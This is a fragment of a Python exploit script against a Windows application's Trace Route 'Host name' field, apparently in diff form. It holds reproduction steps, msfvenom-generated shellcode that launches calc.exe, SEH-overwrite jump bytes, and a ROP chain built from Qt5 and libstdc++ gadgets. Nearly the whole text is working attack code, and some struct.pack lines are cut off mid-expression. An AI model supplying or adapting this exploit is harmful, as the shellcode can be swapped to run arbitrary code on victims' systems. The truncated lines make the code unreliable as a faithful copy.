+# 2. open application +# 3. select Trace Route +# 4. paste contents from clipBoard to "Host name:" field +# 5. select "Get IP from host name" +# 6. pop calc + +#!/usr/bin/python + +# greetz Luis Martínez for find in ebd-id 45137 + +import struct + +junk1 = "A"*100 + +#msfvenom -a x86 -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d\x0e" -e x86/alpha_mixed -f c +#Payload size: 448 bytes +calc = ("\x89\xe1\xd9\xf7\xd9\x71\xf4\x5b\x53\x59\x49\x49\x49\x49\x49" +"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" +"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" +"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" +"\x59\x6c\x5a\x48\x4c\x42\x77\x70\x53\x30\x45\x50\x35\x30\x6b" +"\x39\x58\x65\x70\x31\x39\x50\x30\x64\x4c\x4b\x50\x50\x64\x70" +"\x6e\x6b\x71\x42\x34\x4c\x4e\x6b\x71\x42\x37\x64\x6e\x6b\x62" +"\x52\x56\x48\x36\x6f\x4c\x77\x61\x5a\x64\x66\x56\x51\x49\x6f" +"\x6e\x4c\x45\x6c\x75\x31\x71\x6c\x53\x32\x66\x4c\x55\x70\x69" +"\x51\x38\x4f\x44\x4d\x47\x71\x6a\x67\x78\x62\x6a\x52\x31\x42" +"\x76\x37\x4e\x6b\x70\x52\x44\x50\x6e\x6b\x61\x5a\x47\x4c\x6c" +"\x4b\x30\x4c\x34\x51\x71\x68\x4b\x53\x63\x78\x77\x71\x4b\x61" +"\x63\x61\x4e\x6b\x63\x69\x35\x70\x56\x61\x4e\x33\x6e\x6b\x57" +"\x39\x65\x48\x68\x63\x44\x7a\x37\x39\x6c\x4b\x46\x54\x6c\x4b" +"\x47\x71\x7a\x76\x35\x61\x49\x6f\x4c\x6c\x7a\x61\x6a\x6f\x64" +"\x4d\x55\x51\x4b\x77\x57\x48\x6b\x50\x74\x35\x69\x66\x65\x53" +"\x31\x6d\x4a\x58\x77\x4b\x61\x6d\x51\x34\x61\x65\x6a\x44\x61" +"\x48\x4e\x6b\x62\x78\x45\x74\x47\x71\x79\x43\x71\x76\x4c\x4b" +"\x64\x4c\x72\x6b\x6c\x4b\x73\x68\x35\x4c\x43\x31\x6a\x73\x6e" +"\x6b\x37\x74\x6e\x6b\x37\x71\x4e\x30\x4f\x79\x52\x64\x35\x74" +"\x55\x74\x71\x4b\x51\x4b\x51\x71\x70\x59\x72\x7a\x53\x61\x6b" +"\x4f\x59\x70\x73\x6f\x63\x6f\x72\x7a\x4c\x4b\x56\x72\x48\x6b" +"\x6e\x6d\x31\x4d\x50\x6a\x55\x51\x6e\x6d\x4b\x35\x4f\x42\x73" +"\x30\x65\x50\x55\x50\x42\x70\x72\x48\x70\x31\x4e\x6b\x42\x4f" +"\x6c\x47\x6b\x4f\x4a\x75\x4d\x6b\x5a\x50\x48\x35\x6e\x42\x31" +"\x46\x62\x48\x39\x36\x5a\x35\x6f\x4d\x6d\x4d\x4b\x4f\x79\x45" +"\x45\x6c\x63\x36\x73\x4c\x45\x5a\x6b\x30\x59\x6b\x79\x70\x50" +"\x75\x55\x55\x6d\x6b\x43\x77\x42\x33\x61\x62\x62\x4f\x33\x5a" +"\x33\x30\x56\x33\x49\x6f\x49\x45\x43\x53\x53\x51\x72\x4c\x53" +"\x53\x44\x6e\x65\x35\x64\x38\x43\x55\x67\x70\x41\x41") + +junk3 = "\xcc"*92 + +jmp3 = "\xe9\x7d\xfd\xff\xff\xcc" + +junk2 = "\xcc"*20 + +jmp1 = "\xeb\xf8\xcc\xcc" + +jmp2 = "\xeb\xe4\xcc\xcc\xcc\xcc" + + +seh = struct.pack(' put 0x00001000 into edx) + 0x69a76004, # ADD EAX,83038642 # ADD AL,53 # RETN [Qt5Network.dll] + 0x62035b71, # XCHG EAX,EDX # RETN [Qt5Gui.dll] + 0x61db4eca, # POP EAX # RETN [Qt5Gui.dll] + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x6fe4ceaa, # NEG EAX # RETN [libstdc++-6.dll] + 0x68fb862d, # XCHG EAX,ECX # RETN [Qt5Core.dll] + 0x68b13f2a, # POP EDI # RETN [Qt5Core.dll] + 0x6fe4ceac, # RETN (ROP NOP) [libstdc++-6.dll] + 0x61ba8fa8, # POP EAX # RETN [Qt5Gui.dll] + 0x90909090, # nop + 0x61bf7fca, # PUSHAD # RETN [Qt5Gui.dll] + ] + return ''.join(struct.pack('